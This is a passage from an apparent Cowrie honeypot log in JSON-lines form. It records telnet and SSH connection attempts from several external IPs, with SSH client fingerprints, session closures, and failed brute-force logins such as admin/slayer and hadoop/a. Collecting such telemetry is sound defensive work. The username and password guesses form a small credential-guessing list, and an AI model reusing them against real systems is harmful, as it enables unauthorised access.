{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16864,"dst_ip":"10.17.0.5","dst_port":23,"session":"860f21e0422f","protocol":"telnet","message":"New connection: 34.62.197.232:16864 (10.17.0.5:23) [session: 860f21e0422f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:33.624356Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16876,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fb343de74ab","protocol":"telnet","message":"New connection: 34.62.197.232:16876 (10.17.0.5:23) [session: 2fb343de74ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:33.778728Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16884,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ba64e625f76","protocol":"telnet","message":"New connection: 34.62.197.232:16884 (10.17.0.5:23) [session: 2ba64e625f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:33.933696Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16886,"dst_ip":"10.17.0.5","dst_port":23,"session":"f40d68beb8a3","protocol":"telnet","message":"New connection: 34.62.197.232:16886 (10.17.0.5:23) [session: f40d68beb8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:34.090178Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16898,"dst_ip":"10.17.0.5","dst_port":23,"session":"63a5db1c909f","protocol":"telnet","message":"New connection: 34.62.197.232:16898 (10.17.0.5:23) [session: 63a5db1c909f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:34.246045Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16910,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93441ab2f52","protocol":"telnet","message":"New connection: 34.62.197.232:16910 (10.17.0.5:23) [session: c93441ab2f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:34.404219Z"}
{"eventid":"cowrie.session.closed","duration":0.0058286190032958984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:34.409867Z","src_ip":"34.62.197.232","session":"c93441ab2f52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16918,"dst_ip":"10.17.0.5","dst_port":23,"session":"e20c5d814e1e","protocol":"telnet","message":"New connection: 34.62.197.232:16918 (10.17.0.5:23) [session: e20c5d814e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:34.559804Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16924,"dst_ip":"10.17.0.5","dst_port":23,"session":"8053e87b2af1","protocol":"telnet","message":"New connection: 34.62.197.232:16924 (10.17.0.5:23) [session: 8053e87b2af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:34.715742Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 3371","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 3371] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:34.722919Z","src_ip":"34.62.197.232","session":"8053e87b2af1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":48062,"dst_ip":"10.17.0.5","dst_port":22,"session":"6340083e80f3","protocol":"ssh","message":"New connection: 151.80.141.196:48062 (10.17.0.5:22) [session: 6340083e80f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:34.782406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:34.796660Z","src_ip":"151.80.141.196","session":"6340083e80f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:34.876001Z","src_ip":"151.80.141.196","session":"6340083e80f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"slayer","message":"login attempt [admin/slayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:35.220658Z","src_ip":"151.80.141.196","session":"6340083e80f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:36.302817Z","src_ip":"151.80.141.196","session":"6340083e80f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.83196759223938,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.911117Z","src_ip":"34.62.197.232","session":"4e28dbb69f6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.225389003753662,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.940979Z","src_ip":"34.62.197.232","session":"8053e87b2af1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.38711404800415,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.946761Z","src_ip":"34.62.197.232","session":"e20c5d814e1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.705144166946411,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.951059Z","src_ip":"34.62.197.232","session":"63a5db1c909f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.021450757980347,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.955009Z","src_ip":"34.62.197.232","session":"2ba64e625f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.868634223937988,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.958692Z","src_ip":"34.62.197.232","session":"f40d68beb8a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.183985233306885,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.962611Z","src_ip":"34.62.197.232","session":"2fb343de74ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.34222412109375,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.966323Z","src_ip":"34.62.197.232","session":"860f21e0422f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.505717992782593,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.970279Z","src_ip":"34.62.197.232","session":"75fa3d973721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.666658163070679,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.976047Z","src_ip":"34.62.197.232","session":"ab302e93c1c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.988941669464111,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.979876Z","src_ip":"34.62.197.232","session":"0a2b7ea7df3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.84009051322937,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.994409Z","src_ip":"34.62.197.232","session":"a03517ab7554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.161079406738281,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:41.997926Z","src_ip":"34.62.197.232","session":"c5111f55e16d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.318752527236938,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.000990Z","src_ip":"34.62.197.232","session":"0c4a3115f0bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.478063106536865,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.006064Z","src_ip":"34.62.197.232","session":"e365420328ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.635617733001709,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.009181Z","src_ip":"34.62.197.232","session":"e2204f6c94f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.793237447738647,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.012124Z","src_ip":"34.62.197.232","session":"2d51ad2f075e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.108859300613403,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.014941Z","src_ip":"34.62.197.232","session":"aac7ae3a248c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.34773564338684,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.017687Z","src_ip":"34.62.197.232","session":"0dfac12adecf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.505804538726807,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.020395Z","src_ip":"34.62.197.232","session":"7c5475949ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.66877818107605,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.023074Z","src_ip":"34.62.197.232","session":"7ea03cbf4649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.982270002365112,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.025769Z","src_ip":"34.62.197.232","session":"5abfa5bbfdf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.14035701751709,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.028929Z","src_ip":"34.62.197.232","session":"8d5d62781ad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.298278093338013,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.031563Z","src_ip":"34.62.197.232","session":"ac0f767cccb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.457451105117798,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.034184Z","src_ip":"34.62.197.232","session":"a5e0d2b5eed9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.619308710098267,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.036812Z","src_ip":"34.62.197.232","session":"bb86736baf1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":60872,"dst_ip":"10.17.0.5","dst_port":22,"session":"0391e8ad194d","protocol":"ssh","message":"New connection: 103.147.159.91:60872 (10.17.0.5:22) [session: 0391e8ad194d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.725849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.731182Z","src_ip":"103.147.159.91","session":"0391e8ad194d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:42.969569Z","src_ip":"103.147.159.91","session":"0391e8ad194d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"a","message":"login attempt [hadoop/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:43.958812Z","src_ip":"103.147.159.91","session":"0391e8ad194d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:45.200089Z","src_ip":"103.147.159.91","session":"0391e8ad194d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":52375,"dst_ip":"159.203.135.109","dst_port":22,"session":"0da5634b89df","protocol":"ssh","message":"New connection: 2.57.121.112:52375 (159.203.135.109:22) [session: 0da5634b89df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:48.997557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:49.005386Z","src_ip":"2.57.121.112","session":"0da5634b89df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:49.108472Z","src_ip":"2.57.121.112","session":"0da5634b89df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"petro","message":"login attempt [admin/petro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:49.585568Z","src_ip":"2.57.121.112","session":"0da5634b89df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"permit","message":"login attempt [admin/permit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:50.690082Z","src_ip":"2.57.121.112","session":"0da5634b89df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"perky","message":"login attempt [admin/perky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:51.795156Z","src_ip":"2.57.121.112","session":"0da5634b89df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pepperoni","message":"login attempt [admin/pepperoni] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:52.901452Z","src_ip":"2.57.121.112","session":"0da5634b89df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pepepe","message":"login attempt [admin/pepepe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:54.007674Z","src_ip":"2.57.121.112","session":"0da5634b89df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:55.113861Z","src_ip":"2.57.121.112","session":"0da5634b89df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":36216,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dc224bc5c31","protocol":"ssh","message":"New connection: 151.80.141.196:36216 (10.17.0.5:22) [session: 1dc224bc5c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:18.701328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:18.715958Z","src_ip":"151.80.141.196","session":"1dc224bc5c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:18.789943Z","src_ip":"151.80.141.196","session":"1dc224bc5c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:19.106038Z","src_ip":"151.80.141.196","session":"1dc224bc5c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:20.187548Z","src_ip":"151.80.141.196","session":"1dc224bc5c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":57716,"dst_ip":"10.17.0.5","dst_port":22,"session":"70a0fe4b9cfe","protocol":"ssh","message":"New connection: 190.242.109.42:57716 (10.17.0.5:22) [session: 70a0fe4b9cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:28.858682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:28.869057Z","src_ip":"190.242.109.42","session":"70a0fe4b9cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","h